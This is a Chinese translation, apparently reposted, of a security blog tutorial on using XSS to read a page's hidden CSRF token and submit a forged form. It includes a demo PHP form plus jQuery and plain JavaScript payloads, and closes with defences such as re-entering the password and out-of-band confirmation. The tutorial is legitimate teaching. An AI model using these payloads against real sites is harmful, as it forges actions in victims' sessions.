用XSS窃取CSRF令牌

隐藏令牌是保护跨站点请求伪造的重要表单的一种好方法,但是跨站点脚本的单个实例可以撤销所有的好工作。

在这里,我展示了两种使用XSS获取CSRF令牌的技术,然后使用它来提交表单并赢得一天。

这是我们要面对的形式:

<!doctype html>
<html lang="en-US">
<head>
    <title>Steal My Token</title>
</head>
<body id="body">

<?php

$h = fopen ("/tmp/csrf", "a");
fwrite ($h, print_r ($_POST, true));
if (array_key_exists ("token", $_POST) && array_key_exists ("message", $_POST)) {
    if ($_POST['token'] === "secret_token") {
        print "<p>Token accepted, the message passed is: " . htmlentities($_POST['message']) . "</p>";
        fwrite ($h, "Token accepted, the message passed is: " . htmlentities($_POST['message']) . "\n");
    } else {
        print "<p>Invalid token</p>";
        fwrite($h, "Invalid token passed\n");
    }
}
fclose ($h);
?>

    <form method="post" action="<?=htmlentities($_SERVER['PHP_SELF'])?>">
        <input type="hidden" value="secret_token" id="token" name="token" />
        <input type="text" value="" name="message" id="message" />
        <input type="submit" value="Submit" />
    </form>
</body>
</html>

保存文件名:csrf.php

正如你所看到的,通过输入名字和id“token”来保护表单不受CSRF攻击。在提交时检查该值,如果符合预期,则显示消息并将其写入文件。无效令牌也被记录下来以帮助调试。

jQuery

第一个技巧是使用jQuery,下面是代码:

function submitFormWithTokenjQuery (token) {
    $.post (POST_URL, {token: token, message: "hello world"})
        .done (function (data) {
            console.log (data );
        });
}

function getWithjQuery () {
    $.ajax ({
        type: "GET",
        url: GET_URL,
        // Put any querystring values in here, e.g.
        // data: {name: 'value'},
        data: {},
        async: true,
        dataType: "text",
        success: function (data) {
            // Convert the string data to an object
            var $data = $(data);
            // Find the token in the page
            var $input = $data.find ("#token");
            // This comes back as an array so check there is at least
            // one element and then get the value from it
            if ($input.length > 0) {
                inputField = $input[0];
                token = inputField.value
                console.log ("The token is: " + token);
                submitFormWithTokenjQuery (token);
            }

        },
        // In case you need to handle any errors in the 
        // GET request
        error: function (xml, error) {
            console.log (error);
        }
    });
}

var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getWithjQuery();

保存文件名:withjQuery.js

希望这些评论可以解释发生了什么,但是,这里是一个简单的描述。

所述getWithjQuery功能使一个GET请求到含有与令牌的形式页。当页面返回时,调用成功函数。在这里,返回的页面被分解,输入字段的id为“token”,并且宾果,我们有令牌。

然后将令牌传递给submitFormWithTokenjQuery,它执行带有两个字段(令牌和消息)的POST。

我已经保持这两个URL分开,因为有时表单数据被提交到不同的URL到表单被加载的地方。

显然这是非常详细的,但幸运的是jQuery压缩得很好,整个事情可以被重写为以下内容:

$.get("csrf.php", function(data) {
    $.post("/csrf.php", {token: $(data).find("#token")[0].value, message: "hello world"})
});

保存文件名: compressedjQuery.js

这可能会被一些更好的jQuery技能压缩更多,但我发现它通常工作得很好。

原始的JavaScript

如果你没有jQuery的好处,你仍然可以使用原始的JavaScript,下面的代码和上面一样,但是不依赖任何第三方库。

function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            console.log(xhr.responseText);
        }
    }

    xhr.send("token=" + token + "&message=CSRF%20Beaten");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    // true on the end of here makes the call asynchronous
    xhr.open("GET", GET_URL, true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementById("token");
            // Show the token
            console.log("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}

var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getTokenJS();

保存文件名:rawJS.js

所述getTokenJS函数使用一个异步的XMLHttpRequest做就GET_URL一个GET,然后,当它返回,提取从DOM令牌元件。

在输入字段没有id的情况下,page.getElementById调用可以被其他类似的方法取代,例如:

getElementsByClassName
getElementsByName
getElementsByTagName

如果你这样做,你需要知道这些方法返回对象的数组,而不是一个单一的,所以你将需要访问单个项目,例如:

input = page.getElementsByTagName("input")[0]

现在我们有了令牌,它可以传递给submitFormWithTokenJS函数来构建另一个异步的XMLHttpRequest,这次POST_URL做POST。

传递给xhr.send的字符串是一组使用“&”符号分隔的名称/值对,就像查询字符串一样。

这可能也可能被压缩,但我的JavaScript不是很好。


结论:

所有最好的保护措施都可以通过一个简单的错误来解决。您仍然需要引诱受害者到托管存储的XSS的页面,或者让他们在浏览器中点击反射的XSS链接,以使其被触发,但是让用户点击链接通常不那么困难。

防止这种简单的方法,不要在您的网站上的XSS!如果你不能保证这一点,下一个最好的选择是使用另一种令牌形式。让用户输入自己的密码来执行重要任务与使用CSRF令牌相同,除了使用必须以某种方式发送到浏览器的软件生成的令牌,因此可以被盗取,密码就是令牌。攻击的XSS脚本不知道密码,所以无法完成提交。

另一种方法是对行动进行带外确认。当我设立新的付款时,我的银行会给我发短信,我必须使用邮件中的详细信息来确认操作。XSS可以用来触发SMS,但是它不能够读取并完成操作。


转载请注明出处:https://www.freearoot.com/index.php/stealing-csrf-tokens-with-xss.html

文章转载来源:https://digi.ninja/blog/xss_steal_csrf_token.php

Tags: